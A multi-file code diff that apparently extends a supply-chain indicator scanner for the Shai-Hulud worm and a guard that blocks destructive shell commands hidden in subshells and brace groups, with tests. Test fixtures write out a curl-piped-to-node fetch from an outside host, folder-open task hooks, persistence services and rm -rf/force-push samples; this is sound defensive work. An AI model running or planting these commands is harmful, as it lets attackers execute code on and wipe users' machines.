'codeql_analysis.yml',
'shai-hulud-workflow.yml',
]); ]);
const PAYLOAD_FILENAMES = new Set([ const PAYLOAD_FILENAMES = new Set([
'router_init.js', 'router_init.js',
'router_runtime.js', 'router_runtime.js',
'tanstack_runner.js', 'tanstack_runner.js',
'opensearch_init.js',
'vite_setup.mjs',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
'gh-token-monitor.sh', 'gh-token-monitor.sh',
'com.user.gh-token-monitor.plist',
'gh-token-monitor.service',
'pgsql-monitor.service',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
]); ]);
const IGNORED_DIRS = new Set([ const IGNORED_DIRS = new Set([
@@ -139,7 +333,8 @@ function isInSpecialConfigPath(filePath) {
|| /\/\.kiro\/settings\//.test(normalized) || /\/\.kiro\/settings\//.test(normalized)
|| /\/Library\/LaunchAgents\//.test(normalized) || /\/Library\/LaunchAgents\//.test(normalized)
|| /\/\.config\/systemd\/user\//.test(normalized) || /\/\.config\/systemd\/user\//.test(normalized)
|| /\/\.local\/bin\//.test(normalized); || /\/\.local\/bin\//.test(normalized)
|| /\/\.github\/workflows\//.test(normalized);
} }
function shouldInspectFile(filePath) { function shouldInspectFile(filePath) {
@@ -287,10 +482,21 @@ function homeTargets(homeDir) {
'.vscode/setup.mjs', '.vscode/setup.mjs',
'Library/LaunchAgents/com.user.gh-token-monitor.plist', 'Library/LaunchAgents/com.user.gh-token-monitor.plist',
'.config/systemd/user/gh-token-monitor.service', '.config/systemd/user/gh-token-monitor.service',
'.config/systemd/user/pgsql-monitor.service',
'.local/bin/gh-token-monitor.sh', '.local/bin/gh-token-monitor.sh',
'.local/bin/pgmonitor.py',
].map(relativePath => path.join(homeDir, relativePath)); ].map(relativePath => path.join(homeDir, relativePath));
} }
function runtimeTargets() {
return [
'/tmp/transformers.pyz',
'/tmp/pgmonitor.py',
'/private/tmp/transformers.pyz',
'/private/tmp/pgmonitor.py',
];
}
function scanSupplyChainIocs(options = {}) { function scanSupplyChainIocs(options = {}) {
const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT); const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT);
const files = walkFiles(rootDir); const files = walkFiles(rootDir);
@@ -300,6 +506,9 @@ function scanSupplyChainIocs(options = {}) {
for (const target of homeTargets(options.homeDir || os.homedir())) { for (const target of homeTargets(options.homeDir || os.homedir())) {
if (fs.existsSync(target)) files.push(target); if (fs.existsSync(target)) files.push(target);
} }
for (const target of runtimeTargets()) {
if (fs.existsSync(target)) files.push(target);
}
} }
for (const filePath of [...new Set(files)].sort()) { for (const filePath of [...new Set(files)].sort()) {
+54 -100
View File
@@ -25,6 +25,11 @@
const crypto = require('crypto'); const crypto = require('crypto');
const fs = require('fs'); const fs = require('fs');
const path = require('path'); const path = require('path');
const {
extractCommandSubstitutions,
extractSubshellGroups,
extractBraceGroups
} = require('../lib/shell-substitution');
// Session state — scoped per session to avoid cross-session races. // Session state — scoped per session to avoid cross-session races.
const STATE_DIR = process.env.GATEGUARD_STATE_DIR || path.join(process.env.HOME || process.env.USERPROFILE || '/tmp', '.gateguard'); const STATE_DIR = process.env.GATEGUARD_STATE_DIR || path.join(process.env.HOME || process.env.USERPROFILE || '/tmp', '.gateguard');
@@ -84,105 +89,6 @@ function explodeSubshells(input) {
return out; return out;
} }
/**
* Extract executable command-substitution bodies from a shell line. Single
* quotes are literal, so substitutions inside them are ignored; double quotes
* still permit substitutions, so those bodies are scanned before quoted text
* is stripped.
*
* @param {string} input
* @returns {string[]}
*/
function extractCommandSubstitutions(input) {
const source = String(input || '');
const substitutions = [];
let inSingle = false;
let inDouble = false;
for (let i = 0; i < source.length; i++) {
const ch = source[i];
const prev = source[i - 1];
if (ch === '\\' && !inSingle) {
i += 1;
continue;
}
if (ch === "'" && !inDouble && prev !== '\\') {
inSingle = !inSingle;
continue;
}
if (ch === '"' && !inSingle && prev !== '\\') {
inDouble = !inDouble;
continue;
}
if (inSingle) {
continue;
}
if (ch === '`') {
let body = '';
i += 1;
while (i < source.length) {
const inner = source[i];
if (inner === '\\') {
body += inner;
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
}
if (inner === '`') {
break;
}
body += inner;
i += 1;
}
if (body.trim()) {
substitutions.push(body);
substitutions.push(...extractCommandSubstitutions(body));
}
continue;
}
if (ch === '$' && source[i + 1] === '(') {
let depth = 1;
let body = '';
i += 2;
while (i < source.length && depth > 0) {
const inner = source[i];
if (inner === '\\') {
body += inner;
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
}
if (inner === '(') {
depth += 1;
} else if (inner === ')') {
depth -= 1;
if (depth === 0) {
break;
}
}
body += inner;
i += 1;
}
if (body.trim()) {
substitutions.push(body);
substitutions.push(...extractCommandSubstitutions(body));
}
}
}
return substitutions;
}
/** /**
* Split a command line into top-level segments at unquoted shell * Split a command line into top-level segments at unquoted shell
* separators (`;`, `|`, `&`, `&&`, `||`) and across subshells * separators (`;`, `|`, `&`, `&&`, `||`) and across subshells
@@ -392,6 +298,54 @@ function isDestructiveGit(tokens) {
* @param {string} command * @param {string} command
* @returns {boolean} * @returns {boolean}
*/ */
/**
* Walk every executable body reachable from a raw command line and
* return them as a flat list. Bodies that bash will execute live in
* three different syntactic constructs, each handled by a sibling
* extractor in `scripts/lib/shell-substitution.js`:
* - `$(...)` and backticks via `extractCommandSubstitutions`
* - plain `(...)` subshells via `extractSubshellGroups`
* - `{ ...; }` brace groups via `extractBraceGroups`
*
* Each extractor recurses into its own syntax. The BFS here adds
* cross-syntax discovery — e.g. a `(...)` inside a `$(...)` body, or
* a `{ ...; }` inside a `(...)` body — by feeding every harvested
* body back through all three extractors. A `seen` set bounds the
* cost to O(unique bodies).
*
* @param {string} raw
* @returns {string[]}
*/
function collectExecutableBodies(raw) {
const bodies = [raw];
const queue = [raw];
const seen = new Set();
while (queue.length) {
const current = queue.shift();
if (seen.has(current)) continue;
seen.add(current);
for (const body of extractCommandSubstitutions(current)) {
if (seen.has(body)) continue;
bodies.push(body);
queue.push(body);
}
for (const body of extractSubshellGroups(current)) {
if (seen.has(body)) continue;
bodies.push(body);
queue.push(body);
}
for (const body of extractBraceGroups(current)) {
if (seen.has(body)) continue;
bodies.push(body);
queue.push(body);
}
}
return bodies;
}
function isDestructiveBash(command) { function isDestructiveBash(command) {
// The SQL/dd phrases live in command bodies, not as flag-bearing // The SQL/dd phrases live in command bodies, not as flag-bearing
// arguments, so we still match them by regex — but on the input // arguments, so we still match them by regex — but on the input
@@ -401,7 +355,7 @@ function isDestructiveBash(command) {
const flattened = explodeSubshells(stripQuotedStrings(raw)); const flattened = explodeSubshells(stripQuotedStrings(raw));
if (DESTRUCTIVE_SQL_DD.test(flattened)) return true; if (DESTRUCTIVE_SQL_DD.test(flattened)) return true;
const segments = [raw, ...extractCommandSubstitutions(raw)].flatMap(splitCommandSegments); const segments = collectExecutableBodies(raw).flatMap(splitCommandSegments);
for (const segment of segments) { for (const segment of segments) {
if (DESTRUCTIVE_SQL_DD.test(stripQuotedStrings(segment))) return true; if (DESTRUCTIVE_SQL_DD.test(stripQuotedStrings(segment))) return true;
const tokens = tokenize(segment); const tokens = tokenize(segment);
+249 -1
View File
@@ -243,4 +243,252 @@ function extractSubshellGroups(input) {
return groups; return groups;
} }
module.exports = { extractCommandSubstitutions, extractSubshellGroups }; /**
* Extract bodies of `{ ...; }` brace groups.
*
* Bash brace groups run their body in the *current* shell (unlike `(...)`,
* which forks a subshell). Both forms group multiple commands, so for the
* purposes of destructive-bash and dev-server detection they are equivalent:
* a `rm -rf` or `npm run dev` inside `{ ...; }` still executes.
*
* Recognition rules match bash's own reserved-word semantics:
* - `{` is a reserved word only when followed by whitespace and preceded by
* the line start, whitespace, or a shell operator (`;`, `|`, `&`, `(`).
* So `{npm run dev}` is NOT a brace group (single token starting with `{`).
* - `}` closes the group only when preceded by `;` or whitespace.
* So `foo}` inside the body is not a closing brace.
* - Single quotes are literal; double quotes are also literal for `{`/`}`.
* - `$(...)`, backticks, and plain `(...)` spans are skipped so we don't
* double-extract bodies the sibling extractors already cover.
*
* @param {string} input
* @returns {string[]}
*/
function extractBraceGroups(input) {
const source = String(input || '');
const groups = [];
let inSingle = false;
let inDouble = false;
for (let i = 0; i < source.length; i++) {
const ch = source[i];
const prev = source[i - 1];
if (ch === '\\' && !inSingle) {
i += 1;
continue;
}
if (ch === "'" && !inDouble && prev !== '\\') {
inSingle = !inSingle;
continue;
}
if (ch === '"' && !inSingle && prev !== '\\') {
inDouble = !inDouble;
continue;
}
if (inSingle || inDouble) {
continue;
}
if (ch === '$' && source[i + 1] === '(') {
let depth = 1;
let skipInSingle = false;
let skipInDouble = false;
i += 2;
while (i < source.length && depth > 0) {
const inner = source[i];
const innerPrev = source[i - 1];
if (inner === '\\' && !skipInSingle) {
i += 2;
continue;
}
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
skipInSingle = !skipInSingle;
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
skipInDouble = !skipInDouble;
} else if (!skipInSingle && !skipInDouble) {
if (inner === '(') depth += 1;
else if (inner === ')') depth -= 1;
}
i += 1;
}
i -= 1;
continue;
}
if (ch === '`') {
i += 1;
while (i < source.length && source[i] !== '`') {
if (source[i] === '\\' && i + 1 < source.length) {
i += 2;
continue;
}
i += 1;
}
continue;
}
if (ch === '(') {
let depth = 1;
let skipInSingle = false;
let skipInDouble = false;
i += 1;
while (i < source.length && depth > 0) {
const inner = source[i];
const innerPrev = source[i - 1];
if (inner === '\\' && !skipInSingle) {
i += 2;
continue;
}
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
skipInSingle = !skipInSingle;
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
skipInDouble = !skipInDouble;
} else if (!skipInSingle && !skipInDouble) {
if (inner === '(') depth += 1;
else if (inner === ')') depth -= 1;
}
i += 1;
}
i -= 1;
continue;
}
if (ch === '{' && /\s/.test(source[i + 1] || '')) {
const prevIsBoundary = i === 0 || /[\s;|&(]/.test(prev);
if (!prevIsBoundary) continue;
let depth = 1;
let body = '';
let bodyInSingle = false;
let bodyInDouble = false;
i += 1;
while (i < source.length && depth > 0) {
const inner = source[i];
const innerPrev = source[i - 1];
if (inner === '\\' && !bodyInSingle) {
body += inner;
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
body += inner;
i += 1;
continue;
}
if (inner === '"' && !bodyInSingle && innerPrev !== '\\') {
bodyInDouble = !bodyInDouble;
body += inner;
i += 1;
continue;
}
if (bodyInSingle || bodyInDouble) {
body += inner;
i += 1;
continue;
}
// Skip $(...) spans — a quoted `}` or `}`-as-text inside a
// substitution body must not close the enclosing brace group.
if (inner === '$' && source[i + 1] === '(') {
body += inner + source[i + 1];
let subDepth = 1;
let subInSingle = false;
let subInDouble = false;
i += 2;
while (i < source.length && subDepth > 0) {
const c = source[i];
const p = source[i - 1];
body += c;
if (c === '\\' && !subInSingle && i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
else if (!subInSingle && !subInDouble) {
if (c === '(') subDepth += 1;
else if (c === ')') subDepth -= 1;
}
i += 1;
}
continue;
}
// Skip backtick spans for the same reason.
if (inner === '`') {
body += inner;
i += 1;
while (i < source.length && source[i] !== '`') {
if (source[i] === '\\' && i + 1 < source.length) {
body += source[i] + source[i + 1];
i += 2;
continue;
}
body += source[i];
i += 1;
}
if (i < source.length) {
body += source[i];
i += 1;
}
continue;
}
// Skip plain (...) subshell spans for the same reason.
if (inner === '(') {
body += inner;
let subDepth = 1;
let subInSingle = false;
let subInDouble = false;
i += 1;
while (i < source.length && subDepth > 0) {
const c = source[i];
const p = source[i - 1];
body += c;
if (c === '\\' && !subInSingle && i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
else if (!subInSingle && !subInDouble) {
if (c === '(') subDepth += 1;
else if (c === ')') subDepth -= 1;
}
i += 1;
}
continue;
}
if (inner === '{' && /\s/.test(source[i + 1] || '')) {
// Match the outer-scan boundary rule for nested `{` so
// tokens like `foo{` (no boundary, but followed by space
// via `foo{ bar`) cannot bump nested depth.
const nestedPrevIsBoundary = /[\s;|&(]/.test(innerPrev);
if (nestedPrevIsBoundary) depth += 1;
} else if (inner === '}' && (innerPrev === ';' || /\s/.test(innerPrev))) {
depth -= 1;
if (depth === 0) {
break;
}
}
body += inner;
i += 1;
}
if (body.trim()) {
groups.push(body);
groups.push(...extractBraceGroups(body));
}
}
}
return groups;
}
module.exports = { extractCommandSubstitutions, extractSubshellGroups, extractBraceGroups };
+9 -1
View File
@@ -1,6 +1,6 @@
--- ---
name: canary-watch name: canary-watch
description: Use this skill to monitor a deployed URL for regressions after deploys, merges, or dependency upgrades. description: Use this skill to monitor and verify a deployed URL after releases — checks HTTP endpoints, SSE streams, static assets, console errors, and performance regressions after deploys, merges, or dependency upgrades. Smoke / canary / post-deploy verification.
origin: ECC origin: ECC
--- ---
@@ -27,6 +27,8 @@ Monitors a deployed URL for regressions. Runs in a loop until stopped or until t
4. Performance — LCP/CLS/INP regression vs baseline? 4. Performance — LCP/CLS/INP regression vs baseline?
5. Content — did key elements disappear? (h1, nav, footer, CTA) 5. Content — did key elements disappear? (h1, nav, footer, CTA)
6. API Health — are critical endpoints responding within SLA? 6. API Health — are critical endpoints responding within SLA?
7. Static Assets — are JS, CSS, image, and font requests returning 2xx/3xx with expected content types?
8. SSE Streams — do event-stream endpoints connect and receive an initial event or heartbeat?
``` ```
### Watch Modes ### Watch Modes
@@ -54,12 +56,16 @@ critical: # immediate alert
- Console error count > 5 (new errors only) - Console error count > 5 (new errors only)
- LCP > 4s - LCP > 4s
- API endpoint returns 5xx - API endpoint returns 5xx
- Static asset returns 4xx/5xx
- SSE endpoint cannot connect or drops before first heartbeat
warning: # flag in report warning: # flag in report
- LCP increased > 500ms from baseline - LCP increased > 500ms from baseline
- CLS > 0.1 - CLS > 0.1
- New console warnings - New console warnings
- Response time > 2x baseline - Response time > 2x baseline
- Static asset content type changed unexpectedly
- SSE heartbeat latency > 2x baseline
info: # log only info: # log only
- Minor performance variance - Minor performance variance
@@ -87,6 +93,8 @@ When a critical threshold is crossed:
| LCP | 1.8s ✓ | 1.6s | +200ms | | LCP | 1.8s ✓ | 1.6s | +200ms |
| CLS | 0.01 ✓ | 0.01 | — | | CLS | 0.01 ✓ | 0.01 | — |
| API /health | 145ms ✓ | 120ms | +25ms | | API /health | 145ms ✓ | 120ms | +25ms |
| Static assets | 42/42 ✓ | 42/42 | — |
| SSE /events | connected ✓ | connected | +80ms heartbeat |
### No regressions detected. Deploy is clean. ### No regressions detected. Deploy is clean.
``` ```
+99
View File
@@ -366,6 +366,65 @@ def stop_recording(proc):
proc.stdin.write(b"q"); proc.stdin.flush(); proc.wait(timeout=10) proc.stdin.write(b"q"); proc.stdin.flush(); proc.wait(timeout=10)
``` ```
## Per-Step Trace (opt-in)
The default failure screenshot is often too thin for diagnosing flaky tests. The step-level trace below is **off by default** — enable it only when reproducing a flaky case.
### Enable
```bash
E2E_TRACE=1 pytest tests/test_login.py -v
# Include typed text in the JSONL log (DO NOT use on tests that type credentials/PII):
E2E_TRACE=1 E2E_TRACE_INCLUDE_TEXT=1 pytest ...
```
### Patch into BasePage
```python
import os, json, time
TRACE_ENABLED = os.environ.get("E2E_TRACE") == "1"
TRACE_INCLUDE_TEXT = os.environ.get("E2E_TRACE_INCLUDE_TEXT") == "1"
class BasePage:
_step = 0
def _trace(self, action, spec=None, text=None):
if not TRACE_ENABLED:
return
BasePage._step += 1
idx = f"{BasePage._step:03d}"
os.makedirs(ARTIFACT_DIR, exist_ok=True)
try:
self.window.capture_as_image().save(
os.path.join(ARTIFACT_DIR, f"step_{idx}_{action}.png"))
except Exception:
pass # capture failure must not break the test
rec = {
"ts": time.time(), "step": BasePage._step, "action": action,
"locator": getattr(spec, "criteria", None),
"text": text if TRACE_INCLUDE_TEXT else ("<redacted>" if text else None),
}
with open(os.path.join(ARTIFACT_DIR, "trace.jsonl"), "a") as f:
f.write(json.dumps(rec) + "\n")
def click(self, spec):
self.wait_visible(spec); self._trace("click_before", spec)
spec.click_input(); self._trace("click_after", spec)
def type_text(self, spec, text):
self.wait_visible(spec); self._trace("type_before", spec, text)
# ... existing set_edit_text / keyboard fallback ...
self._trace("type_after", spec)
```
### Caveats
- **PII / credentials**: `type_text` content is `<redacted>` by default. Never set `E2E_TRACE_INCLUDE_TEXT=1` on login or payment flows.
- **Overhead**: ~50200ms per action + one PNG per step on disk. Don't enable on the default CI matrix — only on a dedicated flake-repro job.
- **Artifact bloat**: a long flow produces tens of MB; tune `retention-days` accordingly.
- **Parallel/rerun hygiene**: this simple example appends to `trace.jsonl` and uses a class-level counter. Clear the artifact directory before reruns, and use per-worker artifact dirs for parallel tests.
- **Coverage gap**: actions performed outside `BasePage` (raw `pywinauto` calls in test code) are not traced.
## Flaky Test Handling ## Flaky Test Handling
```python ```python
@@ -387,6 +446,8 @@ Common causes and fixes:
| Animation in progress | `wait_until(lambda: not loading_indicator.exists())` | | Animation in progress | `wait_until(lambda: not loading_indicator.exists())` |
| Dialog timing | `wait_window(title, timeout=15)` | | Dialog timing | `wait_window(title, timeout=15)` |
| CI display not ready | Set `DISPLAY` or use virtual desktop in CI | | CI display not ready | Set `DISPLAY` or use virtual desktop in CI |
| `set_edit_text` raises NotImplementedError | UIA ValuePattern missing (common on Qt 5.x) — `BasePage.type_text` already falls back to `keyboard.send_keys` |
| Control exists but `wait_visible` times out | Window minimised or off-screen — call `win.restore()` + `win.set_focus()` before waiting |
## Test Isolation & Sandbox ## Test Isolation & Sandbox
@@ -719,6 +780,44 @@ def click_image(template_path, confidence=0.85):
pyautogui.click(*pos) pyautogui.click(*pos)
``` ```
### DPI / Scaling Rules (screenshot mode only)
Screenshot matching is brutally sensitive to Windows display scaling (100% / 125% / 150%). Three hard rules:
1. **Capture templates at the same scale as the target machine.** Don't try to rescue a mismatch with `PIL.Image.resize``cv2.matchTemplate` is very fragile against resampling artefacts.
2. **Pin the CI display scaling.** On `windows-latest` add a step like `Set-DisplayResolution 1920 1080 -Force` and disable per-monitor DPI scaling, so screenshot dimensions are reproducible.
3. **Record the scale alongside each artefact.** On capture, write `GetDpiForWindow(hwnd) / 96` to `artifacts/<test>/metadata.json` — postmortems become obvious instead of guess-work.
> Process-level DPI awareness (`SetProcessDpiAwarenessContext`) **can conflict with Qt's own DPI handling** when the app under test is Qt-based. Prefer "same-scale templates + CI pin" over flipping process-wide DPI mode in fixtures.
### Debugging Match Confidence
When tuning the `confidence` threshold, the only sane workflow is to **see** where the match landed. The helper below is diagnosis-only — do not call it from test code.
```python
def debug_match(template_path, out="artifacts/match_debug.png", confidence=0.85):
"""Diagnosis-only. Draw the best-match rectangle + score back on the current screen.
NOT for production tests — use when calibrating confidence or chasing false matches.
"""
import os, cv2, pyautogui, numpy as np
screen = np.array(pyautogui.screenshot())[:, :, ::-1]
tpl = cv2.imread(template_path)
if tpl is None:
raise RuntimeError(f"Template unreadable: {template_path}")
res = cv2.matchTemplate(screen, tpl, cv2.TM_CCOEFF_NORMED)
_, mv, _, ml = cv2.minMaxLoc(res)
h, w = tpl.shape[:2]
colour = (0, 255, 0) if mv >= confidence else (0, 0, 255) # green pass / red fail
cv2.rectangle(screen, ml, (ml[0]+w, ml[1]+h), colour, 2)
cv2.putText(screen, f"score={mv:.3f} thr={confidence}",
(ml[0], max(20, ml[1]-6)),
cv2.FONT_HERSHEY_SIMPLEX, 0.7, colour, 2)
os.makedirs(os.path.dirname(out) or ".", exist_ok=True)
cv2.imwrite(out, screen)
return mv
```
**Use sparingly** — image matching breaks on DPI changes, theme switches, and partial occlusion. **Use sparingly** — image matching breaks on DPI changes, theme switches, and partial occlusion.
Always try UIA first; fall back to screenshots only for genuinely unreachable controls. Always try UIA first; fall back to screenshots only for genuinely unreachable controls.
+110 -1
View File
@@ -11,6 +11,10 @@ const { spawnSync } = require('child_process');
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js'); const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
const { scanSupplyChainIocs } = require(SCRIPT_PATH); const { scanSupplyChainIocs } = require(SCRIPT_PATH);
const TANSTACK_SETUP_DEPENDENCY = [
'github:tanstack/router#79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join('');
function test(name, fn) { function test(name, fn) {
try { try {
@@ -68,6 +72,38 @@ function run() {
}); });
})) passed++; else failed++; })) passed++; else failed++;
if (test('rejects expanded Mini Shai-Hulud campaign package versions', () => {
withFixture({
'package-lock.json': JSON.stringify({
packages: {
'node_modules/@opensearch-project/opensearch': {
version: '3.5.3',
},
'node_modules/@squawk/mcp': {
version: '0.9.5',
},
'node_modules/@mistralai/mistralai': {
version: '2.2.2',
},
},
}, null, 2),
'requirements.txt': [
'mistralai==2.4.6',
'guardrails-ai==0.10.1',
'lightning==2.6.3',
].join('\n'),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('@opensearch-project/opensearch@3.5.3'));
assert.ok(indicators.includes('@squawk/mcp@0.9.5'));
assert.ok(indicators.includes('@mistralai/mistralai@2.2.2'));
assert.ok(indicators.includes('mistralai@2.4.6'));
assert.ok(indicators.includes('guardrails-ai@0.10.1'));
assert.ok(indicators.includes('lightning@2.6.3'));
});
})) passed++; else failed++;
if (test('passes clean versions of watched packages', () => { if (test('passes clean versions of watched packages', () => {
withFixture({ withFixture({
'package-lock.json': JSON.stringify({ 'package-lock.json': JSON.stringify({
@@ -89,7 +125,7 @@ function run() {
packages: { packages: {
'node_modules/@tanstack/history': { 'node_modules/@tanstack/history': {
optionalDependencies: { optionalDependencies: {
'@tanstack/setup': 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c', '@tanstack/setup': TANSTACK_SETUP_DEPENDENCY,
}, },
}, },
}, },
@@ -116,12 +152,85 @@ function run() {
}); });
})) passed++; else failed++; })) passed++; else failed++;
if (test('rejects current dead-drop and import-time payload markers', () => {
withFixture({
'.vscode/tasks.json': JSON.stringify({
tasks: [{
label: 'watch',
command: 'python3 /tmp/transformers.pyz && node execution.js',
runOptions: { runOn: 'folderOpen' },
}],
}, null, 2),
'package.json': JSON.stringify({
description: 'Shai-Hulud: Here We Go Again',
}, null, 2),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
assert.ok(result.findings.some(finding => finding.indicator === 'transformers.pyz'));
assert.ok(result.findings.some(finding => finding.indicator === 'execution.js'));
assert.ok(result.findings.some(finding => finding.indicator === 'Shai-Hulud: Here We Go Again'));
});
})) passed++; else failed++;
if (test('rejects dead-man switch and workflow persistence markers', () => {
withFixture({
'.vscode/tasks.json': JSON.stringify({
tasks: [{
label: 'monitor',
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
runOptions: { runOn: 'folderOpen' },
}],
}, null, 2),
'.github/workflows/codeql_analysis.yml': [
'name: codeql_analysis',
'on: push',
'jobs:',
' shai-hulud:',
' runs-on: ubuntu-latest',
' steps:',
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
' - run: echo svksjrhjkcejg',
' - run: echo OhNoWhatsGoingOnWithGitHub',
' - run: echo claude@users.noreply.github.com',
' - run: echo dependabout/router/setup-formatter',
' - run: echo signalservice snode',
].join('\n'),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
assert.ok(indicators.includes('codeql_analysis.yml'));
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
assert.ok(indicators.includes('svksjrhjkcejg'));
assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub'));
assert.ok(indicators.includes('claude@users.noreply.github.com'));
assert.ok(indicators.includes('dependabout/'));
assert.ok(indicators.includes('signalservice'));
assert.ok(indicators.includes('snode'));
});
})) passed++; else failed++;
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
withFixture({
'home/.local/bin/pgmonitor.py': 'print("persistence")',
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
}, rootDir => {
const homeDir = path.join(rootDir, 'home');
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('pgmonitor.py'));
assert.ok(indicators.includes('pgsql-monitor.service'));
});
})) passed++; else failed++;
if (test('rejects installed payload filenames in node_modules', () => { if (test('rejects installed payload filenames in node_modules', () => {
withFixture({ withFixture({
'node_modules/@tanstack/react-router/router_init.js': '/* payload */', 'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */',
}, rootDir => { }, rootDir => {
const result = scanSupplyChainIocs({ rootDir }); const result = scanSupplyChainIocs({ rootDir });
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js')); assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js'));
}); });
})) passed++; else failed++; })) passed++; else failed++;
+45
View File
@@ -0,0 +1,45 @@
const assert = require('assert');
const fs = require('fs');
const path = require('path');
const SKILL_PATH = path.join(__dirname, '..', '..', 'skills', 'canary-watch', 'SKILL.md');
function test(name, fn) {
try {
fn();
console.log(` \u2713 ${name}`);
return true;
} catch (error) {
console.log(` \u2717 ${name}`);
console.log(` Error: ${error.message}`);
return false;
}
}
function runTests() {
console.log('\n=== Testing canary-watch skill docs ===\n');
let passed = 0;
let failed = 0;
const body = fs.readFileSync(SKILL_PATH, 'utf8');
if (test('description monitoring claims are backed by watch sections', () => {
for (const phrase of [
'HTTP endpoints',
'SSE streams',
'static assets',
'console errors',
'performance regressions',
]) {
assert.ok(body.toLowerCase().includes(phrase.toLowerCase()), `missing phrase: ${phrase}`);
}
assert.ok(body.includes('Static Assets'), 'watch list should include static assets');
assert.ok(body.includes('SSE Streams'), 'watch list should include SSE streams');
assert.ok(body.includes('SSE endpoint cannot connect'), 'critical thresholds should cover SSE failures');
})) passed++; else failed++;
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0);
}
runTests();
+109
View File
@@ -1282,6 +1282,115 @@ function runTests() {
'double-quoted dollar-paren subshell'); 'double-quoted dollar-paren subshell');
})) passed++; else failed++; })) passed++; else failed++;
// --- Subshell + brace-group bypass coverage ---
// Destructive commands inside `(...)` and `{ ...; }` execute the
// same way they do at the top level, so the destructive classifier
// must see inside those bodies too. Nested parens `((...))` are
// arithmetic-evaluation syntax in bash (not a nested subshell), but
// our parser depth-tracks them conservatively — i.e. the inner
// tokens are still scanned for destructive intent. That's safety
// over precision and the right default for this gate.
if (test('denies rm -rf inside plain (...) subshell group', () => {
expectDestructiveDeny('(rm -rf /tmp/junk)', 'plain subshell group');
})) passed++; else failed++;
if (test('denies rm -rf inside ((...)) — arithmetic eval, treated conservatively', () => {
expectDestructiveDeny('((rm -rf /tmp/junk))', 'arithmetic-eval parens');
})) passed++; else failed++;
if (test('denies rm -rf inside { ...; } brace group', () => {
expectDestructiveDeny('{ rm -rf /tmp/junk; }', 'brace group');
})) passed++; else failed++;
if (test('denies git push --force inside plain (...) subshell group', () => {
expectDestructiveDeny('(git push --force origin main)',
'git-force in subshell');
})) passed++; else failed++;
if (test('denies git push --force inside { ...; } brace group', () => {
expectDestructiveDeny('{ git push --force origin main; }',
'git-force in brace group');
})) passed++; else failed++;
if (test('denies rm -rf nested across () and {} (cross-syntax)', () => {
expectDestructiveDeny('(echo y; { rm -rf /tmp/junk; })',
'() containing {} cross-syntax');
})) passed++; else failed++;
if (test('denies rm -rf nested across $() and () (cross-syntax)', () => {
expectDestructiveDeny('$(echo y; (rm -rf /tmp/junk))',
'$() containing () cross-syntax');
})) passed++; else failed++;
// Negative cases — literals and non-destructive commands must NOT
// be promoted to destructive by the new grouping-body walker.
if (test('allows literal (rm -rf ...) inside single quotes', () => {
expectAllow("git commit -m '(rm -rf /tmp/junk)'",
'single-quoted subshell literal');
})) passed++; else failed++;
if (test('allows literal (rm -rf ...) inside double quotes', () => {
expectAllow('echo "(rm -rf /tmp/junk)"',
'double-quoted subshell literal');
})) passed++; else failed++;
if (test('allows literal { rm -rf ...; } inside double quotes', () => {
expectAllow('echo "{ rm -rf /tmp/junk; }"',
'double-quoted brace-group literal');
})) passed++; else failed++;
if (test('allows non-destructive (echo hello)', () => {
expectAllow('(echo hello)', 'non-destructive subshell');
})) passed++; else failed++;
if (test('allows non-destructive { echo hello; }', () => {
expectAllow('{ echo hello; }', 'non-destructive brace group');
})) passed++; else failed++;
if (test('allows {rm -rf} — no space after { is not a brace group', () => {
// bash treats `{rm` as a single token; no destructive intent
// can be statically derived from this form, and the command
// would not actually run rm at runtime either.
expectAllow('echo {rm -rf /tmp/junk}',
'no-space brace literal');
})) passed++; else failed++;
// --- Round 1 review fixes: brace-group span-skip + boundary ---
// Verifies the body-accumulation loop in `extractBraceGroups`
// correctly walks past `$(...)`, `(...)`, and backtick spans so
